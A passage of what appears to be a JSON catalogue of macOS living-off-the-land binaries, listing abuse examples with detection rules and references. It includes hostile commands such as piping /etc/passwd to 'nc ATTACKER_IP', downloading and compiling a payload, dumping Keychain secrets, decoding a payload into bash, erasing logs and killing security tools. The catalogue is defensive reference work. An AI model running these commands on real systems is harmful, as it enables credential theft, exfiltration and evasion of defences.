      "network-intensive",
      "pipes-stdin",
      "process-manip",
      "requires-root",
      "stealth"
    ],
    "id": "macos-collection-osascript",
    "install": [
      {
        "method": "custom",
        "commands": [
          "/usr/bin/osascript"
        ]
      }
    ],
    "name": "osascript",
    "namespace": "macos:collection:osascript",
    "platforms": [
      "macos"
    ],
    "references": [
      {
        "label": "Using macOS Internals for Post Exploitation",
        "url": "https://medium.com/red-teaming-with-a-blue-team-mentality/using-macos-internals-for-post-exploitation-b5faaa11e121"
      },
      {
        "label": "Bad Apples: Weaponizing Native macOS Primitives for Movement and Execution",
        "url": "https://blog.talosintelligence.com/bad-apples-weaponizing-native-macos-primitives-for-movement-and-execution/"
      }
    ],
    "techniques": [
      "collection",
      "credential-access",
      "discovery",
      "execution",
      "defense-evasion",
      "privilege-escalation",
      "lateral-movement"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nA tools that allows users to take screenshots of their desktop or specific app windows. The tool can be used by malicious actors to collect sensitive information from the targeted system.\n",
    "_source": "screencapture.md",
    "author": "Brendan Chamberlain (@infosecB)",
    "capabilities": [
      "collection.data"
    ],
    "description": "Capture a screenshot from command line.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/master/rules/macos/process_creation/proc_creation_macos_screencapture.yml",
        "description": "Sigma: Screen Capture - macOS"
      }
    ],
    "examples": [
      {
        "description": "Continuously capture screenshots: The following command demonstrates how an attacker can use the tool to capture screenshots every 10 seconds. The -x flag prevents snapshot sounds from being played.",
        "command": "while true; do ts=$(date +\"%Y%m%d-%H%M%S\"); o=\"/tmp/screenshots\"; screencapture -x \"$o/ss-$ts.png\"; sleep 10; done"
      }
    ],
    "execution": {
      "template": "screencapture",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "interactive"
    ],
    "id": "macos-collection-screencapture",
    "install": [
      {
        "method": "custom",
        "commands": [
          "/usr/sbin/screencapture"
        ]
      }
    ],
    "name": "screencapture",
    "namespace": "macos:collection:screencapture",
    "platforms": [
      "macos"
    ],
    "references": [
      {
        "label": "SS64 screencapture man page",
        "url": "https://ss64.com/osx/screencapture.html"
      }
    ],
    "techniques": [
      "collection"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nstreamzip is a system utility that can be utilized to compress data from \"stdin\" and write the data directly to \"stdout\", no temporary files are created. The tool can be used by malicious actors to collect and exfiltrate sensitive data without leaving staged data archive artifacts on disk.\n",
    "_source": "streamzip.md",
    "author": "Gabriel De Jesus (0xv1n)",
    "capabilities": [
      "collection.data",
      "exfiltration.data"
    ],
    "description": "File-less compression of data passed in through stdin.",
    "detections": [
      {
        "type": "other",
        "description": "No detection content at time of writing"
      }
    ],
    "examples": [
      {
        "description": "Copy and compress sensitive data locally: The following command reads file data and compresses the data for exfiltration",
        "command": "dd if=/etc/passwd | streamzip - stream | nc ATTACKER_IP PORT"
      }
    ],
    "execution": {
      "template": "streamzip",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "compression",
      "file-system",
      "interactive",
      "local",
      "pipes-stdin",
      "pipes-stdout",
      "streaming"
    ],
    "id": "macos-collection-streamzip",
    "install": [
      {
        "method": "custom",
        "commands": [
          "/usr/bin/streamzip"
        ]
      }
    ],
    "name": "streamzip",
    "namespace": "macos:collection:streamzip",
    "platforms": [
      "macos"
    ],
    "references": [
      {
        "label": "streamzip man page",
        "url": "https://docs.oracle.com/cd/E88353_01/html/E37839/streamzip-1.html"
      }
    ],
    "techniques": [
      "collection",
      "exfiltration"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nosacompile is a utility used to compile scripts into executables. It's a component of Open Scripting Architecture (OSA) that Apple uses for its scripting languages, like AppleScript and JavaScript for Automation (JXA). osacompile accepts AppleScript code as input and produces a compiled script file, which can be either a script file (.scpt), an app (.app), a droplet, or a script bundle.\n",
    "_source": "osacompile.md",
    "author": "Brendan Chamberlain (@infosecB)",
    "capabilities": [
      "network.commandandcontrol",
      "resource.development"
    ],
    "description": "Compile AppleScripts or OSA language scripts.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/pull/4127/commits/f4b0264a83e5f47473029e26dc0879fb196a7d07",
        "description": "Sigma: In-Memory Download And Compile Of Payloads (experimental/pending)"
      }
    ],
    "examples": [
      {
        "description": "Download and compile a payload: The following command downloads an applescript payload from getpayload.com and compiles it into an app.",
        "command": "curl https://getpayload.com/payload_code.apple_script && osacompile -x -e payload_code.apple_script -o payload.app"
      }
    ],
    "execution": {
      "template": "osacompile",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "network-intensive"
    ],
    "id": "macos-command-and-control-osacompile",
    "install": [
      {
        "method": "custom",
        "commands": [
          "/usr/bin/osacompile"
        ]
      }
    ],
    "name": "osacompile",
    "namespace": "macos:commandandcontrol:osacompile",
    "platforms": [
      "macos"
    ],
    "references": [
      {
        "label": "A bundle of nerves: Tweaking macOS security controls to thwart application bundle manipulation",
        "url": "https://redcanary.com/blog/mac-application-bundles/"
      }
    ],
    "techniques": [
      "command-and-control",
      "recon"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nsafaridriver is a tool that is used to enable Selenium testing via the macOS WebDriver protocol. Once enabled, the WebDriver API could be abused by attackers to communicate with external servers for command and control or exfiltration purposes.\n",
    "_source": "safaridriver.md",
    "author": "Brendan Chamberlain (@infosecB)",
    "capabilities": [
      "network.commandandcontrol",
      "exfiltration.data"
    ],
    "description": "Enable the WebDriver Safari browser API for Selenium testing.",
    "detections": [
      {
        "type": "other",
        "description": "No detections at time of publishing"
      }
    ],
    "examples": [
      {
        "description": "Enable safaridriver: The following command can be used to enable the WebDriver Safari browser API. The command must be run as root or with sudo privileges.",
        "command": "sudo safaridriver --enable"
      }
    ],
    "execution": {
      "template": "safaridriver",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "network-intensive"
    ],
    "id": "macos-command-and-control-safaridriver",
    "install": [
      {
        "method": "custom",
        "commands": [
          "/System/Cryptexes/App/usr/bin/safaridriver"
        ]
      },
      {
        "method": "custom",
        "commands": [
          "/usr/bin/safaridriver"
        ]
      }
    ],
    "name": "safaridriver",
    "namespace": "macos:commandandcontrol:safaridriver",
    "platforms": [
      "macos"
    ],
    "references": [
      {
        "label": "About WebDriver for Safari",
        "url": "https://developer.apple.com/documentation/webkit/about_webdriver_for_safari"
      },
      {
        "label": "You Talking To Me?",
        "url": "https://starlabs.sg/blog/2021/04-you-talking-to-me/"
      }
    ],
    "techniques": [
      "command-and-control",
      "exfiltration"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nRetrieves the contents of the clipboard (a.k.a. pasteboard) and writes them to the standard output (stdout). The utility is often used for creating new files with the clipboard content or for piping clipboard contents to other commands. It can also be used in shell scripts that may require clipboard content as input.\n",
    "_source": "pbpaste.md",
    "author": "Brendan Chamberlain (@infosecB)",
    "capabilities": [
      "credential.dump",
      "collection.data"
    ],
    "description": "Paste the contents of clipboard to the terminal.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/master/rules-threat-hunting/macos/process_creation/proc_creation_macos_pbpaste_execution.yml",
        "description": "Sigma: Clipboard Data Collection Via Pbpaste"
      }
    ],
    "examples": [
      {
        "description": "Use pbpaste to collect sensitive clipboard data: A pbpaste bash loop can continuously collect clipboard contents every x minutes and write contents to a file (or another location). This may allow an attacker to gather user credentials or collect other sensitive information.",
        "command": "while true; do echo $(pbpaste) >> loot.txt; sleep 10; done"
      }
    ],
    "execution": {
      "template": "pbpaste",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "file-system",
      "process-manip"
    ],
    "id": "macos-credential-access-pbpaste",
    "install": [
      {
        "method": "custom",
        "commands": [
          "/usr/bin/pbpaste"
        ]
      }
    ],
    "name": "pbpaste",
    "namespace": "macos:credentialaccess:pbpaste",
    "platforms": [
      "macos"
    ],
    "references": [
      {
        "label": "Hacking macOS: How to Dump 1Password, KeePassX & LastPass Passwords in Plaintext",
        "url": "https://medium.com/@NullByteWht/hacking-macos-how-to-dump-1password-keepassx-lastpass-passwords-in-plaintext-723c5b1c311b"
      },
      {
        "label": "Living-off-the-Land: Exploring macOS LOOBins and Crafting Detection Rules - pbpaste",
        "url": "https://danielcortez.substack.com/p/living-off-the-land-exploring-macos-b65"
      }
    ],
    "techniques": [
      "credential-access",
      "collection"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nsecurity is a command-line utility included in macOS that allows users to interact with the Keychain app. Keychains allow users to manager passwords and credentials for many services and features, including Wi-Fi and website passwords, secure notes, certificates, and Kerberos.\n",
    "_source": "security.md",
    "author": "Pratik Jeware (@Pratik-987), Brendan Chamberlain (@infosecB)",
    "capabilities": [
      "credential.dump",
      "security.defenseevasion.bypass"
    ],
    "description": "Interact with Keychain, macOS's built-in password manager.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/master/rules/macos/process_creation/proc_creation_macos_creds_from_keychain.yml",
        "description": "Sigma: Credentials from Password Stores - Keychain"
      },
      {
        "type": "elastic",
        "url": "https://github.com/elastic/detection-rules/blob/main/rules/macos/credential_access_credentials_keychains.toml",
        "description": "Elastic: Access to Keychain Credentials Directories"
      },
      {
        "type": "elastic",
        "url": "https://github.com/elastic/detection-rules/blob/main/rules/macos/credential_access_dumping_keychain_security.toml",
        "description": "Elastic: Credential Access Dumping Keychain Security"
      },
      {
        "type": "elastic",
        "url": "https://github.com/elastic/detection-rules/blob/main/rules/macos/credential_access_keychain_pwd_retrieval_security_cmd.toml",
        "description": "Elastic: Keychain Password Retrieval via Command Line"
      },
      {
        "type": "other",
        "url": "https://github.com/jamf/jamfprotect/blob/main/custom_analytic_detections/keychain_dumped",
        "description": "Jamf Protect: Detect Keychain dumping using security"
      }
    ],
    "examples": [
      {
        "description": "Dump credentials, keys, certificates, and other sensitive information from Keychain: This command will dump keychain passwords from login.keychain",
        "command": "sudo security dump-keychain -d login.keychain"
      },
      {
        "description": "Retrieve Chrome's \"Chrome Safe Storage\" password manager secret: This command will retrieve the Chrome Safe Storage password manager secret from the keychain.",
        "command": "security find-generic-password -w -s \"Chrome Safe Storage\""
      },
      {
        "description": "Add an arbitrary trusted certificate to aid a MITM attack: This command will add a certificate to the keychain.",
        "command": "security add-trusted-cert -d -r trustRoot -k /Library/Keychains/System.keychain bad_cert.crt"
      }
    ],
    "execution": {
      "template": "security",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "stealth"
    ],
    "id": "macos-credential-access-security",
    "install": [
      {
        "method": "custom",
        "commands": [
          "/usr/bin/security"
        ]
      }
    ],
    "name": "security",
    "namespace": "macos:credentialaccess:security",
    "platforms": [
      "macos"
    ],
    "references": [
      {
        "label": "Using the OS X Keychain to store and retrieve passwords",
        "url": "https://www.netmeister.org/blog/keychain-passwords.html"
      },
      {
        "label": "SS64 security man page",
        "url": "https://ss64.com/osx/security.html"
      }
    ],
    "techniques": [
      "credential-access",
      "defense-evasion"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nThe chflags utility modifies the file flags of the listed files as \nspecified by the flags operand.\n",
    "_source": "chflags.md",
    "author": "demonduck",
    "capabilities": [
      "security.defenseevasion.bypass"
    ],
    "description": "Changes file or directory flags",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/master/rules/macos/process_creation/proc_creation_macos_chflags_hidden_flag.yml",
        "description": "Sigma: Hidden Flag Set On File/Directory Via Chflags"
      }
    ],
    "examples": [
      {
        "description": "Hide a file: Add the hidden flag to a file or directory to prevent it from being \nvisible in Finder and Terminal.",
        "command": "chflags hidden ~/evil"
      },
      {
        "description": "Remove hidden flag: Remove the hidden flag to a file or directory to make it visible in Finder\nand Terminal.",
        "command": "chflags nohidden ~/evil"
      }
    ],
    "execution": {
      "template": "chflags",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "file-system",
      "local",
      "stealth"
    ],
    "id": "macos-defense-evasion-chflags",
    "install": [
      {
        "method": "custom",
        "commands": [
          "/usr/bin/chflags"
        ]
      }
    ],
    "name": "chflags",
    "namespace": "macos:defenseevasion:chflags",
    "platforms": [
      "macos"
    ],
    "references": [
      {
        "label": "chflags man page",
        "url": "https://ss64.com/mac/chflags.html"
      },
      {
        "label": "macOS/binaries/chflags",
        "url": "https://macosbin.com/bin/chflags"
      },
      {
        "label": "How to hide files and folders",
        "url": "https://eclecticlight.co/2024/07/03/how-to-hide-files-and-folders/"
      }
    ],
    "techniques": [
      "defense-evasion"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nThe codesign command is used to create, check, and display code signatures, as well as inquire into the dynamic status of signed code in the system.\n",
    "_source": "codesign.md",
    "author": "Thijs Xhaflaire",
    "capabilities": [
      "security.defenseevasion.bypass"
    ],
    "description": "Create, manipulate and verify code signatures.",
    "detections": [
      {
        "type": "other",
        "url": "https://github.com/jamf/jamfprotect/blob/main/custom_analytic_detections/adhoc_codesigning.yaml",
        "description": "Jamf Protect: Detect ad-hoc codesigning activity"
      }
    ],
    "examples": [
      {
        "description": "Ad-hoc codesigning an app bundle: This command forcefully re-signs the MyApp.app application with an ad-hoc signature, applying the signature deeply to all nested code within the app",
        "command": "codesign --force --deep -s - MyApp.app"
      }
    ],
    "execution": {
      "template": "codesign",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "stealth"
    ],
    "id": "macos-defense-evasion-codesign",
    "install": [
      {
        "method": "custom",
        "commands": [
          "/usr/bin/codesign"
        ]
      }
    ],
    "name": "codesign",
    "namespace": "macos:defenseevasion:codesign",
    "platforms": [
      "macos"
    ],
    "references": [
      {
        "label": "When Apple Admits macOS Malware Is A Problem – It’s Time To Take Notice",
        "url": "https://www.sentinelone.com/blog/when-apple-admits-macos-malware-is-a-problem-its-time-to-take-notice/"
      },
      {
        "label": "codesign man page",
        "url": "https://ss64.com/mac/codesign.html"
      }
    ],
    "techniques": [
      "defense-evasion"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nUsed to enable/disable SIP, configure netboot and authenticated-root settings\n",
    "_source": "csrutil.md",
    "author": "Megan Carney (https://infosec.exchange/@PwnieFan)",
    "capabilities": [
      "security.defenseevasion.bypass",
      "reconnaissance.enumerate",
      "discovery.enumerate"
    ],
    "description": "Configure or view system security policies.",
    "detections": [
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/master/rules/macos/process_creation/proc_creation_macos_csrutil_disable.yml",
        "description": "Sigma: System Integrity Protection (SIP) Disabled"
      },
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/master/rules/macos/process_creation/proc_creation_macos_csrutil_status.yml",
        "description": "Sigma: System Integrity Protection (SIP) Enumeration"
      }
    ],
    "examples": [
      {
        "description": "Disable SIP: disable SIP (System Integrity Protection) - requires booting into recovery mode",
        "command": "csrutil disable"
      },
      {
        "description": "Disable authenticated-root: When authenticated-root is disabled, booting is allowed from non-sealed system snapshots - requires booting into recovery mode",
        "command": "csrutil authenticated-root disable"
      },
      {
        "description": "Add a netboot server: Insert a new IPv4 address in the list of allowed NetBoot sources",
        "command": "csrutil netboot add <address>"
      },
      {
        "description": "Map infrastructure: List allowed NetBoot sources",
        "command": "csrutil netboot list"
      },
      {
        "description": "Determine if SIP is enabled: Determine if System Integrity Protection is enabled",
        "command": "csrutil status"
      }
    ],
    "execution": {
      "template": "csrutil",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "stealth"
    ],
    "id": "macos-defense-evasion-csrutil",
    "install": [
      {
        "method": "custom",
        "commands": [
          "/usr/bin/csrutil"
        ]
      }
    ],
    "name": "csrutil",
    "namespace": "macos:defenseevasion:csrutil",
    "platforms": [
      "macos"
    ],
    "references": [
      {
        "label": "Discussion on how SIP interacts with bless and netboot",
        "url": "https://developer.apple.com/forums/thread/4002"
      },
      {
        "label": "MITRE ATT&CK T1518.001 Software Discovery: Security Software Discovery",
        "url": "https://attack.mitre.org/techniques/T1518/001/"
      },
      {
        "label": "The XCSSET Malware: Inserts Malicious Code Into Xcode Projects, Performs UXSSBackdoor Planting in Safari, and LeveragesTwo Zero-day Exploits",
        "url": "https://documents.trendmicro.com/assets/pdf/XCSSET_Technical_Brief.pdf"
      }
    ],
    "techniques": [
      "defense-evasion",
      "recon",
      "discovery"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nThe defaults binary is normally used to interact with the user defaults system, a database of macOS used to manage system settings much like the Windows Registry. The database can be abused by threat actors to change settings in attempt to evade defenses or to gain persistence.\n",
    "_source": "defaults.md",
    "author": "Brendan Chamberlain (@infosecB)",
    "capabilities": [
      "security.defenseevasion.bypass",
      "discovery.enumerate",
      "security.persistence.hook"
    ],
    "description": "Read, write, and delete user preference values.",
    "detections": [
      {
        "type": "other",
        "description": "No detections at time of publishing"
      }
    ],
    "examples": [
      {
        "description": "Disable Gatekeeper's auto rearm functionality: The following command can be used to disable Gatekeepers rearm functionality. This command requires root privileges.",
        "command": "sudo defaults write /Library/Preferences/com.apple.security GKAutoRearm -bool NO"
      },
      {
        "description": "Show mounted servers: Show all mounted servers on the desktop.",
        "command": "defaults read com.apple.finder \"ShowMountedServersOnDesktop\""
      },
      {
        "description": "Add a login item to the current user: An attacker can use defaults to add a login hook in attempt to gain persistence. This command requires root privileges.",
        "command": "sudo defaults write /Library/Preferences/com.apple.loginwindow LoginHook gain_persistence.sh"
      },
      {
        "description": "Get Active Directory user info from Jamf Connect: Retrieve Active Directory user info from Jamf Connect defaults configuration.",
        "command": "defaults read com.jamf.connect.state"
      },
      {
        "description": "Enable Firewall: Enables macOS' default firewall. This command requires root privileges.",
        "command": "sudo defaults write /Library/Preferences/com.apple.alf globalstate -int 1"
      },
      {
        "description": "Disable Firewall: Disables macOS' default firewall. This command requires root privileges.",
        "command": "sudo defaults write /Library/Preferences/com.apple.alf globalstate -int 0"
      }
    ],
    "execution": {
      "template": "defaults",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "file-system",
      "stealth"
    ],
    "id": "macos-defense-evasion-defaults",
    "install": [
      {
        "method": "custom",
        "commands": [
          "/usr/bin/defaults"
        ]
      }
    ],
    "name": "defaults",
    "namespace": "macos:defenseevasion:defaults",
    "platforms": [
      "macos"
    ],
    "references": [
      {
        "label": "macOS defaults list: Uncomplete list of macOS defaults commands with demos",
        "url": "https://macos-defaults.com/"
      },
      {
        "label": "Insistence on Persistence",
        "url": "https://www.huntress.com/blog/insistence-on-persistence"
      }
    ],
    "techniques": [
      "defense-evasion",
      "discovery",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nThe log command can be used to access system log messages from Apple Unified Logging (AUL). The tool can be used to inspect existing logs, stream logs in realtime, and delete logs. This tool is normally used by system admins and application developers for troubleshooting purposes but can be used by an adversary to gain an understanding of the user's behavior or to cover up their tracks by deleting log messages.\n",
    "_source": "log.md",
    "author": "Brendan Chamberlain (@infosecB)",
    "capabilities": [
      "security.defenseevasion.bypass",
      "credential.dump"
    ],
    "description": "Access system log messages from Apple Unified Logging (AUL).",
    "detections": [
      {
        "type": "other",
        "description": "No detections at time of publishing"
      }
    ],
    "examples": [
      {
        "description": "Remove all log messages: An attacker can cover up their tracks by removing all log messages using the following command. Requires root privileges.",
        "command": "log erase --all"
      },
      {
        "description": "Search log messages for tokens: An attacker can potentially search log messages and review if they do contain sensitive information like jwt tokens.",
        "command": "log show --info --debug --predicate 'eventMessage CONTAINS[d] \"eyJ\"'"
      }
    ],
    "execution": {
      "template": "log",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "stealth"
    ],
    "id": "macos-defense-evasion-log",
    "install": [
      {
        "method": "custom",
        "commands": [
          "/usr/bin/log"
        ]
      }
    ],
    "name": "log",
    "namespace": "macos:defenseevasion:log",
    "platforms": [
      "macos"
    ],
    "references": [
      {
        "label": "Living off the land in macOS (Daniel Stinson)",
        "url": "https://shellcromancer.io/posts/living-off-of-macos/"
      }
    ],
    "techniques": [
      "defense-evasion",
      "credential-access"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nmdls list file metadata across standard metadata (creation date, size), extended attribute (quarantine), and Spotlight APIs (Finder flags).\n",
    "_source": "mdls.md",
    "author": "Daniel Stinson-Diess (@shellcromancer)",
    "capabilities": [
      "security.defenseevasion.bypass",
      "discovery.enumerate",
      "security.execution.command",
      "collection.data"
    ],
    "description": "List metadata attributes for the specified file.",
    "detections": [
      {
        "type": "other",
        "description": "No detections at time of publishing"
      }
    ],
    "examples": [
      {
        "description": "Validate file download information: Use mdls to validate payload download sources and timestamps to guard against sandbox executions.",
        "command": "mdls -name \"kMDItemWhereFroms\" -name \"kMDItemDownloadedDate\""
      },
      {
        "description": "Query File Paths: Use mdls to print file paths and sizes when enumerating host resources.",
        "command": "xargs -0 mdls -n kMDItemPath -n kMDItemFSSize"
      },
      {
        "description": "Extract and execute payload stored in Finder comment metadata: Every file on macOS has a Finder comment field stored as Spotlight metadata under the kMDItemFinderComment attribute. mdls can read this field and pipe its contents to a decoder and executor. Because the payload lives entirely in Spotlight metadata rather than file contents, it is not visible to file-based inspection or integrity monitoring tools. Finder comments can be written remotely via osascript over Remote Apple Events or SSH, making this a covert staging mechanism for lateral movement payloads.",
        "command": "mdls -name kMDItemFinderComment -raw ~/Desktop/payload_carrier.txt | base64 -D | bash"
      }
    ],
    "execution": {
      "template": "mdls",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "file-system",
      "local",
      "pipes-stdin",
      "pipes-stdout",
      "stealth"
    ],
    "id": "macos-defense-evasion-mdls",
    "install": [
      {
        "method": "custom",
        "commands": [
          "/usr/bin/mdls"
        ]
      }
    ],
    "name": "mdls",
    "namespace": "macos:defenseevasion:mdls",
    "platforms": [
      "macos"
    ],
    "references": [
      {
        "label": "Bad Apples: Weaponizing Native macOS Primitives for Movement and Execution",
        "url": "https://blog.talosintelligence.com/bad-apples-weaponizing-native-macos-primitives-for-movement-and-execution/"
      }
    ],
    "techniques": [
      "defense-evasion",
      "discovery",
      "execution",
      "collection"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nThe mktemp binary located in \"usr/bin/mktemp\" can generate unique directory or file names and has historically been used to generate unique payloads.\n",
    "_source": "mktemp.md",
    "author": "Tim Peck (@B0bby_Tablez)",
    "capabilities": [
      "security.defenseevasion.bypass"
    ],
    "description": "Create a temporary file or directory and return the file/directory name to stdout",
    "detections": [
      {
        "type": "other",
        "description": "No detections at time of publishing"
      }
    ],
    "examples": [
      {
        "description": "Generate payload directory (Shlayer): The following command can be used to generate a random directory name for staging payloads",
        "command": "export tmpDir=\"$(mktemp -d /tmp/XXXXXXXXXXXX)\""
      },
      {
        "description": "Generate directory based on template file (Bundlore): The following command can be used to generate a unique directory based on a template",
        "command": "TMP_DIR=\"mktemp -d -t x\""
      }
    ],
    "execution": {
      "template": "mktemp",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "file-system",
      "local",
      "stealth"
    ],
    "id": "macos-defense-evasion-mktemp",
    "install": [
      {
        "method": "custom",
        "commands": [
          "/usr/bin/mktemp"
        ]
      }
    ],
    "name": "mktemp",
    "namespace": "macos:defenseevasion:mktemp",
    "platforms": [
      "macos"
    ],
    "references": [
      {
        "label": "Shlayer malware abusing Gatekeeper bypass on macOS",
        "url": "https://www.jamf.com/blog/shlayer-malware-abusing-gatekeeper-bypass-on-macos/"
      },
      {
        "label": "20 Common Tools & Techniques Used by macOS Threat Actors & Malware",
        "url": "https://www.sentinelone.com/labs/20-common-tools-techniques-used-by-macos-threat-actors-malware/"
      }
    ],
    "techniques": [
      "defense-evasion"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nmacOS version of curl that is used to download files to a target without applying the quarantine extended attribute\n",
    "_source": "nscurl.md",
    "author": "Leo Pitt (@_D00mfist)",
    "capabilities": [
      "security.defenseevasion.bypass",
      "network.commandandcontrol"
    ],
    "description": "Download, upload, and read files.",
    "detections": [
      {
        "type": "other",
        "url": "https://github.com/jamf/jamfprotect/blob/main/custom_analytic_detections/all_curl_activity",
        "description": "Jamf Protect: Detect all curl and nscurl activity"
      },
      {
        "type": "other",
        "url": "https://github.com/jamf/jamfprotect/blob/main/custom_analytic_detections/file_download_curl_insecure",
        "description": "Jamf Protect: Detect file downloads using the insecure argument for curl and nscurl"
      },
      {
        "type": "sigma",
        "url": "https://github.com/SigmaHQ/sigma/blob/master/rules/macos/process_creation/proc_creation_macos_nscurl_usage.yml",
        "description": "Sigma: File Download Via Nscurl - MacOS"
      }
    ],
    "examples": [
      {
        "description": "Download file: Download file and ignore cert checking",
        "command": "nscurl -k https://google.com -o /private/tmp/google"
      },
      {
        "description": "Download file: Download file to the Downloads directory using -dl",
        "command": "nscurl https://google.com -dl"
      },
      {
        "description": "Download file: Download file to a designated directory using -dir",
        "command": "nscurl https://google.com -dir /private/tmp/google"
      }
    ],
    "execution": {
      "template": "nscurl",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "file-system",
      "local",
      "network-intensive",
      "stealth"
    ],
    "id": "macos-defense-evasion-nscurl",
    "install": [
      {
        "method": "custom",
        "commands": [
          "/usr/bin/nscurl"
        ]
      }
    ],
    "name": "nscurl",
    "namespace": "macos:defenseevasion:nscurl",
    "platforms": [
      "macos"
    ],
    "references": [
      {
        "label": "How to Diagnose App Transport Security Issues using nscurl and OpenSSL",
        "url": "https://www.agnosticdev.com/content/how-diagnose-app-transport-security-issues-using-nscurl-and-openssl"
      },
      {
        "label": "Living-off-the-Land: Exploring macOS LOOBins and Crafting Detection Rules - nscurl",
        "url": "https://danielcortez.substack.com/p/living-off-the-land-exploring-macos"
      }
    ],
    "techniques": [
      "defense-evasion",
      "command-and-control"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\npkill is a Unix utility available on macOS that sends signals to processes matching a given name or pattern. While intended for legitimate process management, threat actors can abuse pkill to terminate security tools, monitoring daemons, or user applications for defense evasion. It's particularly valuable to attackers as a Living Off the Land technique that avoids bringing custom binaries onto the system.\n",
    "_source": "pkill.md",
    "author": "Jason Phang Vern - Onn",
    "capabilities": [
      "security.defenseevasion.bypass",
      "impact.destruction"
    ],
    "description": "Kill processes by name or pattern.",
    "detections": [
      {
        "type": "other",
        "description": "Process execution monitoring for pkill"
      },
      {
        "type": "other",
        "description": "Endpoint Detection - pkill targeting security tools"
      }
    ],
    "examples": [
      {
        "description": "Kill security tools: Terminate defensive processes like firewalls, AV, or monitoring tools.",
        "command": "pkill -f \"Little Snitch|ESET|osqueryd|Falcon\""
      },
      {
        "description": "Force kill processes with SIGKILL: Use the -9 signal to forcefully terminate processes that may not respond to normal termination signals. Useful for killing hung security tools.",
        "command": "pkill -9 osqueryd"
      },
      {
        "description": "Kill all processes for a user: Terminate all processes belonging to a specific user, potentially ending user sessions or disrupting monitoring.",
        "command": "pkill -u username"
      },
      {
        "description": "Kill logging and monitoring daemons: Terminate system logging and monitoring processes to evade detection.",
        "command": "pkill -f \"syslog|auditd|osqueryd|esensor|nessusd\""
      },
      {
        "description": "Kill process by exact name match: Use exact matching with -x flag to kill specific process by exact name rather than pattern.",
        "command": "pkill -x com.apple.Safari"
      }
    ],
    "execution": {
      "template": "pkill",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "process-manip",
      "stealth"
    ],
    "id": "macos-defense-evasion-pkill",
    "install": [
      {
        "method": "custom",
        "commands": [
          "/usr/bin/pkill"
        ]
      }
    ],
    "name": "pkill",
    "namespace": "macos:defenseevasion:pkill",
    "platforms": [
      "macos"
    ],
    "references": [
      {
        "label": "Fake DeepSeek Site Infects Mac Users with Atomic (AMOS) Stealer",
        "url": "https://www.esentire.com/blog/fake-deepseek-site-infects-mac-users-with-atomic-stealer"
      },
      {
        "label": "SS64 pkill man page",
        "url": "https://ss64.com/mac/pkill.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "impact"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nplutil is a command-line utility used for managing property list (.plist) files. These files are commonly used by macOS to store a app settings and other configuration info. The utility allows users to check the validity of plist files `plutil -lint`, convert plist files between XML and binary formats (plutil -convert), and add, modify or remove plist key value pairs.\n",
    "_source": "plutil.md",
    "author": "Brendan Chamberlain (@infosecB)",
    "capabilities": [
      "security.defenseevasion.bypass"
    ],
    "description": "Read, create or edit plist files.",
    "detections": [
      {
        "type": "splunk",
        "url": "https://research.splunk.com/endpoint/c11f2b57-92c1-4cd2-b46c-064eafb833ac/",
        "description": "Splunk Security Content: MacOS plutil"
      }
    ],
    "examples": [
      {
        "description": "Set app to run with dock icon hidden: plutil can be used to set the \"LSUIElement\" attribute to true which will force the targeted app to run without the UI and dock icon.",
        "command": "plutil -insert LSUIElement -string \"1\" /Applications/TargetApp.app/Contents/Info.plist"
      }
    ],
    "execution": {
      "template": "plutil",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "file-system",
      "local",
